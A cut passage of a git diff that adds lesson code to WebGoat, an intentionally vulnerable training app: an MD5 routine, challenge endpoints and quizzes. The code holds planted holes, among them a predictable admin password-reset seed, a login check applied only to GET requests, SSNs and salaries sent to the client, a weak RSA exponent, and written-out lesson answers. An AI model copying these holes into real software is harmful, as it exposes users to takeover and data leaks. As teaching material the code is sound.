a, b, x[15], 14, 0xd8a1e681); /* 23 */ + b = GG(b, c, d, a, x[4], 20, 0xe7d3fbc8); /* 24 */ + a = GG(a, b, c, d, x[9], 5, 0x21e1cde6); /* 25 */ + d = GG(d, a, b, c, x[14], 9, 0xc33707d6); /* 26 */ + c = GG(c, d, a, b, x[3], 14, 0xf4d50d87); /* 27 */ + b = GG(b, c, d, a, x[8], 20, 0x455a14ed); /* 28 */ + a = GG(a, b, c, d, x[13], 5, 0xa9e3e905); /* 29 */ + d = GG(d, a, b, c, x[2], 9, 0xfcefa3f8); /* 30 */ + c = GG(c, d, a, b, x[7], 14, 0x676f02d9); /* 31 */ + b = GG(b, c, d, a, x[12], 20, 0x8d2a4c8a); /* 32 */ + + /* Round 3 */ + a = HH(a, b, c, d, x[5], 4, 0xfffa3942); /* 33 */ + d = HH(d, a, b, c, x[8], 11, 0x8771f681); /* 34 */ + c = HH(c, d, a, b, x[11], 16, 0x6d9d6122); /* 35 */ + b = HH(b, c, d, a, x[14], 23, 0xfde5380c); /* 36 */ + a = HH(a, b, c, d, x[1], 4, 0xa4beea44); /* 37 */ + d = HH(d, a, b, c, x[4], 11, 0x4bdecfa9); /* 38 */ + c = HH(c, d, a, b, x[7], 16, 0xf6bb4b60); /* 39 */ + b = HH(b, c, d, a, x[10], 23, 0xbebfbc70); /* 40 */ + a = HH(a, b, c, d, x[13], 4, 0x289b7ec6); /* 41 */ + d = HH(d, a, b, c, x[0], 11, 0xeaa127fa); /* 42 */ + c = HH(c, d, a, b, x[3], 16, 0xd4ef3085); /* 43 */ + b = HH(b, c, d, a, x[6], 23, 0x04881d05); /* 44 */ + a = HH(a, b, c, d, x[9], 4, 0xd9d4d039); /* 45 */ + d = HH(d, a, b, c, x[12], 11, 0xe6db99e5); /* 46 */ + c = HH(c, d, a, b, x[15], 16, 0x1fa27cf8); /* 47 */ + b = HH(b, c, d, a, x[2], 23, 0xc4ac5665); /* 48 */ + + /* Round 4 */ + a = II(a, b, c, d, x[0], 6, 0xf4292244); /* 49 */ + d = II(d, a, b, c, x[7], 10, 0x432aff97); /* 50 */ + c = II(c, d, a, b, x[14], 15, 0xab9423a7); /* 51 */ + b = II(b, c, d, a, x[5], 21, 0xfc93a039); /* 52 */ + a = II(a, b, c, d, x[12], 6, 0x655b59c3); /* 53 */ + d = II(d, a, b, c, x[3], 10, 0x8f0ccc92); /* 54 */ + c = II(c, d, a, b, x[10], 15, 0xffeff47d); /* 55 */ + b = II(b, c, d, a, x[1], 21, 0x85845dd1); /* 56 */ + a = II(a, b, c, d, x[8], 6, 0x6fa87e4f); /* 57 */ + d = II(d, a, b, c, x[15], 10, 0xfe2ce6e0); /* 58 */ + c = II(c, d, a, b, x[6], 15, 0xa3014314); /* 59 */ + b = II(b, c, d, a, x[13], 21, 0x4e0811a1); /* 60 */ + a = II(a, b, c, d, x[4], 6, 0xf7537e82); /* 61 */ + d = II(d, a, b, c, x[11], 10, 0xbd3af235); /* 62 */ + c = II(c, d, a, b, x[2], 15, 0x2ad7d2bb); /* 63 */ + b = II(b, c, d, a, x[9], 21, 0xeb86d391); /* 64 */ + + state.state[0] += a; + state.state[1] += b; + state.state[2] += c; + state.state[3] += d; + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/challenges/challenge7/PasswordResetLink.java b/src/main/java/org/owasp/webgoat/lessons/challenges/challenge7/PasswordResetLink.java new file mode 100644 index 000000000..ff00f06cb --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/challenges/challenge7/PasswordResetLink.java @@ -0,0 +1,45 @@ +package org.owasp.webgoat.lessons.challenges.challenge7; + +import java.util.Random; + +/** + * WARNING: DO NOT CHANGE FILE WITHOUT CHANGING .git contents + * + * @author nbaars + * @since 8/17/17. + */ +public class PasswordResetLink { + + public String createPasswordReset(String username, String key) { + Random random = new Random(); + if (username.equalsIgnoreCase("admin")) { + // Admin has a fix reset link + random.setSeed(key.length()); + } + return scramble(random, scramble(random, scramble(random, MD5.getHashString(username)))); + } + + public static String scramble(Random random, String inputString) { + char[] a = inputString.toCharArray(); + for (int i = 0; i < a.length; i++) { + int j = random.nextInt(a.length); + char temp = a[i]; + a[i] = a[j]; + a[j] = temp; + } + return new String(a); + } + + public static void main(String[] args) { + if (args == null || args.length != 2) { + System.out.println("Need a username and key"); + System.exit(1); + } + String username = args[0]; + String key = args[1]; + System.out.println("Generation password reset link for " + username); + System.out.println( + "Created password reset link: " + + new PasswordResetLink().createPasswordReset(username, key)); + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/challenges/challenge8/Assignment8.java b/src/main/java/org/owasp/webgoat/lessons/challenges/challenge8/Assignment8.java new file mode 100644 index 000000000..535b92f18 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/challenges/challenge8/Assignment8.java @@ -0,0 +1,76 @@ +package org.owasp.webgoat.lessons.challenges.challenge8; + +import java.util.HashMap; +import java.util.Map; +import java.util.stream.Collectors; +import javax.servlet.http.HttpServletRequest; +import lombok.extern.slf4j.Slf4j; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.owasp.webgoat.lessons.challenges.Flag; +import org.springframework.http.MediaType; +import org.springframework.http.ResponseEntity; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PathVariable; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +/** + * @author nbaars + * @since 4/8/17. + */ +@RestController +@Slf4j +public class Assignment8 extends AssignmentEndpoint { + + private static final Map votes = new HashMap<>(); + + static { + votes.put(1, 400); + votes.put(2, 120); + votes.put(3, 140); + votes.put(4, 150); + votes.put(5, 300); + } + + @GetMapping(value = "/challenge/8/vote/{stars}", produces = MediaType.APPLICATION_JSON_VALUE) + @ResponseBody + public ResponseEntity vote( + @PathVariable(value = "stars") int nrOfStars, HttpServletRequest request) { + // Simple implementation of VERB Based Authentication + String msg = ""; + if (request.getMethod().equals("GET")) { + var json = + Map.of("error", true, "message", "Sorry but you need to login first in order to vote"); + return ResponseEntity.status(200).body(json); + } + Integer allVotesForStar = votes.getOrDefault(nrOfStars, 0); + votes.put(nrOfStars, allVotesForStar + 1); + return ResponseEntity.ok() + .header("X-Flag", "Thanks for voting, your flag is: " + Flag.FLAGS.get(8)) + .build(); + } + + @GetMapping("/challenge/8/votes/") + public ResponseEntity getVotes() { + return ResponseEntity.ok( + votes.entrySet().stream() + .collect(Collectors.toMap(e -> "" + e.getKey(), e -> e.getValue()))); + } + + @GetMapping("/challenge/8/votes/average") + public ResponseEntity> average() { + int totalNumberOfVotes = votes.values().stream().mapToInt(i -> i.intValue()).sum(); + int categories = + votes.entrySet().stream() + .mapToInt(e -> e.getKey() * e.getValue()) + .reduce(0, (a, b) -> a + b); + var json = Map.of("average", (int) Math.ceil((double) categories / totalNumberOfVotes)); + return ResponseEntity.ok(json); + } + + @GetMapping("/challenge/8/notUsed") + public AttackResult notUsed() { + throw new IllegalStateException("Should never be called, challenge specific method"); + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/challenges/challenge8/Challenge8.java b/src/main/java/org/owasp/webgoat/lessons/challenges/challenge8/Challenge8.java new file mode 100644 index 000000000..c610a1bd9 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/challenges/challenge8/Challenge8.java @@ -0,0 +1,23 @@ +package org.owasp.webgoat.lessons.challenges.challenge8; + +import org.owasp.webgoat.container.lessons.Category; +import org.owasp.webgoat.container.lessons.Lesson; +import org.springframework.stereotype.Component; + +/** + * @author nbaars + * @since 3/21/17. + */ +@Component +public class Challenge8 extends Lesson { + + @Override + public Category getDefaultCategory() { + return Category.CHALLENGE; + } + + @Override + public String getTitle() { + return "challenge8.title"; + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/chromedevtools/ChromeDevTools.java b/src/main/java/org/owasp/webgoat/lessons/chromedevtools/ChromeDevTools.java new file mode 100644 index 000000000..587761fc4 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/chromedevtools/ChromeDevTools.java @@ -0,0 +1,45 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.chromedevtools; + +import org.owasp.webgoat.container.lessons.Category; +import org.owasp.webgoat.container.lessons.Lesson; +import org.springframework.stereotype.Component; + +/** + * @author TMelzer + * @since 30.11.18 + */ +@Component +public class ChromeDevTools extends Lesson { + + @Override + public Category getDefaultCategory() { + return Category.GENERAL; + } + + @Override + public String getTitle() { + return "3.chrome-dev-tools.title"; // 3rd lesson in General + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/chromedevtools/NetworkDummy.java b/src/main/java/org/owasp/webgoat/lessons/chromedevtools/NetworkDummy.java new file mode 100644 index 000000000..97677e9a9 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/chromedevtools/NetworkDummy.java @@ -0,0 +1,54 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.chromedevtools; + +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.owasp.webgoat.container.session.UserSessionData; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +/** + * This is just a class used to make the the HTTP request. + * + * @author TMelzer + * @since 30.11.18 + */ +@RestController +public class NetworkDummy extends AssignmentEndpoint { + + @PostMapping("/ChromeDevTools/dummy") + @ResponseBody + public AttackResult completed(@RequestParam String successMessage) { + UserSessionData userSessionData = getUserSessionData(); + String answer = (String) userSessionData.getValue("randValue"); + + if (successMessage != null && successMessage.equals(answer)) { + return success(this).feedback("xss-dom-message-success").build(); + } else { + return failed(this).feedback("xss-dom-message-failure").build(); + } + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/chromedevtools/NetworkLesson.java b/src/main/java/org/owasp/webgoat/lessons/chromedevtools/NetworkLesson.java new file mode 100644 index 000000000..7441ab4a5 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/chromedevtools/NetworkLesson.java @@ -0,0 +1,62 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.chromedevtools; + +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AssignmentHints; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.springframework.http.ResponseEntity; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +/** + * Assignment where the user has to look through an HTTP Request using the Developer Tools and find + * a specific number. + * + * @author TMelzer + * @since 30.11.18 + */ +@RestController +@AssignmentHints({"networkHint1", "networkHint2"}) +public class NetworkLesson extends AssignmentEndpoint { + + @PostMapping( + value = "/ChromeDevTools/network", + params = {"network_num", "number"}) + @ResponseBody + public AttackResult completed(@RequestParam String network_num, @RequestParam String number) { + if (network_num.equals(number)) { + return success(this).feedback("network.success").output("").build(); + } else { + return failed(this).feedback("network.failed").build(); + } + } + + @PostMapping(path = "/ChromeDevTools/network", params = "networkNum") + @ResponseBody + public ResponseEntity ok(@RequestParam String networkNum) { + return ResponseEntity.ok().build(); + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/cia/CIA.java b/src/main/java/org/owasp/webgoat/lessons/cia/CIA.java new file mode 100644 index 000000000..1754360b0 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/cia/CIA.java @@ -0,0 +1,23 @@ +package org.owasp.webgoat.lessons.cia; + +import org.owasp.webgoat.container.lessons.Category; +import org.owasp.webgoat.container.lessons.Lesson; +import org.springframework.stereotype.Component; + +/** + * @author BenediktStuhrmann + * @since 11/2/18. + */ +@Component +public class CIA extends Lesson { + + @Override + public Category getDefaultCategory() { + return Category.GENERAL; + } + + @Override + public String getTitle() { + return "4.cia.title"; // 4th lesson in general + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/cia/CIAQuiz.java b/src/main/java/org/owasp/webgoat/lessons/cia/CIAQuiz.java new file mode 100644 index 000000000..fa01b43e5 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/cia/CIAQuiz.java @@ -0,0 +1,53 @@ +package org.owasp.webgoat.lessons.cia; + +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +@RestController +public class CIAQuiz extends AssignmentEndpoint { + + String[] solutions = {"Solution 3", "Solution 1", "Solution 4", "Solution 2"}; + boolean[] guesses = new boolean[solutions.length]; + + @PostMapping("/cia/quiz") + @ResponseBody + public AttackResult completed( + @RequestParam String[] question_0_solution, + @RequestParam String[] question_1_solution, + @RequestParam String[] question_2_solution, + @RequestParam String[] question_3_solution) { + int correctAnswers = 0; + + String[] givenAnswers = { + question_0_solution[0], question_1_solution[0], question_2_solution[0], question_3_solution[0] + }; + + for (int i = 0; i < solutions.length; i++) { + if (givenAnswers[i].contains(solutions[i])) { + // answer correct + correctAnswers++; + guesses[i] = true; + } else { + // answer incorrect + guesses[i] = false; + } + } + + if (correctAnswers == solutions.length) { + return success(this).build(); + } else { + return failed(this).build(); + } + } + + @GetMapping("/cia/quiz") + @ResponseBody + public boolean[] getResults() { + return this.guesses; + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/clientsidefiltering/ClientSideFiltering.java b/src/main/java/org/owasp/webgoat/lessons/clientsidefiltering/ClientSideFiltering.java new file mode 100644 index 000000000..31c0867be --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/clientsidefiltering/ClientSideFiltering.java @@ -0,0 +1,49 @@ +package org.owasp.webgoat.lessons.clientsidefiltering; + +import org.owasp.webgoat.container.lessons.Category; +import org.owasp.webgoat.container.lessons.Lesson; +import org.springframework.stereotype.Component; + +/** + * ************************************************************************************************ + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, + * please see http://www.owasp.org/ + * + *

Copyright (c) 2002 - 2014 Bruce Mayhew + * + *

This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + *

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; + * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + *

You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + *

Getting Source ============== + * + *

Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository + * for free software projects. + * + *

+ * + * @author WebGoat + * @version $Id: $Id + * @since October 12, 2016 + */ +@Component +public class ClientSideFiltering extends Lesson { + + @Override + public Category getDefaultCategory() { + return Category.CLIENT_SIDE; + } + + @Override + public String getTitle() { + return "client.side.filtering.title"; + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/clientsidefiltering/ClientSideFilteringAssignment.java b/src/main/java/org/owasp/webgoat/lessons/clientsidefiltering/ClientSideFilteringAssignment.java new file mode 100644 index 000000000..fbe11da93 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/clientsidefiltering/ClientSideFilteringAssignment.java @@ -0,0 +1,49 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.clientsidefiltering; + +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AssignmentHints; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +@RestController +@AssignmentHints({ + "ClientSideFilteringHint1", + "ClientSideFilteringHint2", + "ClientSideFilteringHint3", + "ClientSideFilteringHint4" +}) +public class ClientSideFilteringAssignment extends AssignmentEndpoint { + + @PostMapping("/clientSideFiltering/attack1") + @ResponseBody + public AttackResult completed(@RequestParam String answer) { + return "450000".equals(answer) + ? success(this).feedback("assignment.solved").build() + : failed(this).feedback("ClientSideFiltering.incorrect").build(); + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/clientsidefiltering/ClientSideFilteringFreeAssignment.java b/src/main/java/org/owasp/webgoat/lessons/clientsidefiltering/ClientSideFilteringFreeAssignment.java new file mode 100644 index 000000000..9db150279 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/clientsidefiltering/ClientSideFilteringFreeAssignment.java @@ -0,0 +1,55 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.clientsidefiltering; + +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AssignmentHints; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +/** + * @author nbaars + * @since 4/6/17. + */ +@RestController +@AssignmentHints({ + "client.side.filtering.free.hint1", + "client.side.filtering.free.hint2", + "client.side.filtering.free.hint3" +}) +public class ClientSideFilteringFreeAssignment extends AssignmentEndpoint { + + public static final String SUPER_COUPON_CODE = "get_it_for_free"; + + @PostMapping("/clientSideFiltering/getItForFree") + @ResponseBody + public AttackResult completed(@RequestParam String checkoutCode) { + if (SUPER_COUPON_CODE.equals(checkoutCode)) { + return success(this).build(); + } + return failed(this).build(); + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/clientsidefiltering/Salaries.java b/src/main/java/org/owasp/webgoat/lessons/clientsidefiltering/Salaries.java new file mode 100644 index 000000000..bd4de62fc --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/clientsidefiltering/Salaries.java @@ -0,0 +1,112 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.clientsidefiltering; + +import java.io.File; +import java.io.FileInputStream; +import java.io.FileOutputStream; +import java.io.IOException; +import java.io.InputStream; +import java.util.ArrayList; +import java.util.HashMap; +import java.util.List; +import java.util.Map; +import javax.annotation.PostConstruct; +import javax.xml.xpath.XPath; +import javax.xml.xpath.XPathConstants; +import javax.xml.xpath.XPathExpressionException; +import javax.xml.xpath.XPathFactory; +import lombok.extern.slf4j.Slf4j; +import org.springframework.beans.factory.annotation.Value; +import org.springframework.core.io.ClassPathResource; +import org.springframework.util.FileCopyUtils; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; +import org.w3c.dom.Node; +import org.w3c.dom.NodeList; +import org.xml.sax.InputSource; + +@RestController +@Slf4j +public class Salaries { + + @Value("${webgoat.user.directory}") + private String webGoatHomeDirectory; + + @PostConstruct + public void copyFiles() { + ClassPathResource classPathResource = new ClassPathResource("lessons/employees.xml"); + File targetDirectory = new File(webGoatHomeDirectory, "/ClientSideFiltering"); + if (!targetDirectory.exists()) { + targetDirectory.mkdir(); + } + try { + FileCopyUtils.copy( + classPathResource.getInputStream(), + new FileOutputStream(new File(targetDirectory, "employees.xml"))); + } catch (IOException e) { + throw new RuntimeException(e); + } + } + + @GetMapping("clientSideFiltering/salaries") + @ResponseBody + public List> invoke() { + NodeList nodes = null; + File d = new File(webGoatHomeDirectory, "ClientSideFiltering/employees.xml"); + XPathFactory factory = XPathFactory.newInstance(); + XPath path = factory.newXPath(); + int columns = 5; + List> json = new ArrayList<>(); + java.util.Map employeeJson = new HashMap<>(); + + try (InputStream is = new FileInputStream(d)) { + InputSource inputSource = new InputSource(is); + + StringBuilder sb = new StringBuilder(); + + sb.append("/Employees/Employee/UserID | "); + sb.append("/Employees/Employee/FirstName | "); + sb.append("/Employees/Employee/LastName | "); + sb.append("/Employees/Employee/SSN | "); + sb.append("/Employees/Employee/Salary "); + + String expression = sb.toString(); + nodes = (NodeList) path.evaluate(expression, inputSource, XPathConstants.NODESET); + for (int i = 0; i < nodes.getLength(); i++) { + if (i % columns == 0) { + employeeJson = new HashMap<>(); + json.add(employeeJson); + } + Node node = nodes.item(i); + employeeJson.put(node.getNodeName(), node.getTextContent()); + } + } catch (XPathExpressionException e) { + log.error("Unable to parse xml", e); + } catch (IOException e) { + log.error("Unable to read employees.xml at location: '{}'", d); + } + return json; + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/clientsidefiltering/ShopEndpoint.java b/src/main/java/org/owasp/webgoat/lessons/clientsidefiltering/ShopEndpoint.java new file mode 100644 index 000000000..1a0f4fa92 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/clientsidefiltering/ShopEndpoint.java @@ -0,0 +1,86 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.clientsidefiltering; + +import com.google.common.collect.Lists; +import java.util.List; +import java.util.Optional; +import lombok.AllArgsConstructor; +import lombok.Getter; +import org.springframework.http.MediaType; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PathVariable; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; + +/** + * @author nbaars + * @since 4/6/17. + */ +@RestController +@RequestMapping("/clientSideFiltering/challenge-store") +public class ShopEndpoint { + + @AllArgsConstructor + private class CheckoutCodes { + + @Getter private List codes; + + public Optional get(String code) { + return codes.stream().filter(c -> c.getCode().equals(code)).findFirst(); + } + } + + @AllArgsConstructor + @Getter + private class CheckoutCode { + private String code; + private int discount; + } + + private CheckoutCodes checkoutCodes; + + public ShopEndpoint() { + List codes = Lists.newArrayList(); + codes.add(new CheckoutCode("webgoat", 25)); + codes.add(new CheckoutCode("owasp", 25)); + codes.add(new CheckoutCode("owasp-webgoat", 50)); + this.checkoutCodes = new CheckoutCodes(codes); + } + + @GetMapping(value = "/coupons/{code}", produces = MediaType.APPLICATION_JSON_VALUE) + public CheckoutCode getDiscountCode(@PathVariable String code) { + if (ClientSideFilteringFreeAssignment.SUPER_COUPON_CODE.equals(code)) { + return new CheckoutCode(ClientSideFilteringFreeAssignment.SUPER_COUPON_CODE, 100); + } + return checkoutCodes.get(code).orElse(new CheckoutCode("no", 0)); + } + + @GetMapping(value = "/coupons", produces = MediaType.APPLICATION_JSON_VALUE) + public CheckoutCodes all() { + List all = Lists.newArrayList(); + all.addAll(this.checkoutCodes.getCodes()); + all.add(new CheckoutCode(ClientSideFilteringFreeAssignment.SUPER_COUPON_CODE, 100)); + return new CheckoutCodes(all); + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/cryptography/CryptoUtil.java b/src/main/java/org/owasp/webgoat/lessons/cryptography/CryptoUtil.java new file mode 100644 index 000000000..6e13e57e3 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/cryptography/CryptoUtil.java @@ -0,0 +1,143 @@ +package org.owasp.webgoat.lessons.cryptography; + +import java.math.BigInteger; +import java.nio.charset.Charset; +import java.security.InvalidAlgorithmParameterException; +import java.security.KeyFactory; +import java.security.KeyPair; +import java.security.KeyPairGenerator; +import java.security.NoSuchAlgorithmException; +import java.security.PrivateKey; +import java.security.PublicKey; +import java.security.SecureRandom; +import java.security.Signature; +import java.security.interfaces.RSAPublicKey; +import java.security.spec.InvalidKeySpecException; +import java.security.spec.PKCS8EncodedKeySpec; +import java.security.spec.RSAKeyGenParameterSpec; +import java.util.Base64; +import javax.xml.bind.DatatypeConverter; +import lombok.extern.slf4j.Slf4j; + +@Slf4j +public class CryptoUtil { + + private static final BigInteger[] FERMAT_PRIMES = { + BigInteger.valueOf(3), + BigInteger.valueOf(5), + BigInteger.valueOf(17), + BigInteger.valueOf(257), + BigInteger.valueOf(65537) + }; + + public static KeyPair generateKeyPair() + throws NoSuchAlgorithmException, InvalidAlgorithmParameterException { + KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance("RSA"); + RSAKeyGenParameterSpec kpgSpec = + new RSAKeyGenParameterSpec( + 2048, FERMAT_PRIMES[new SecureRandom().nextInt(FERMAT_PRIMES.length)]); + keyPairGenerator.initialize(kpgSpec); + // keyPairGenerator.initialize(2048); + return keyPairGenerator.generateKeyPair(); + } + + public static String getPrivateKeyInPEM(KeyPair keyPair) { + String encodedString = "-----BEGIN PRIVATE KEY-----\n"; + encodedString = + encodedString + + new String( + Base64.getEncoder().encode(keyPair.getPrivate().getEncoded()), + Charset.forName("UTF-8")) + + "\n"; + encodedString = encodedString + 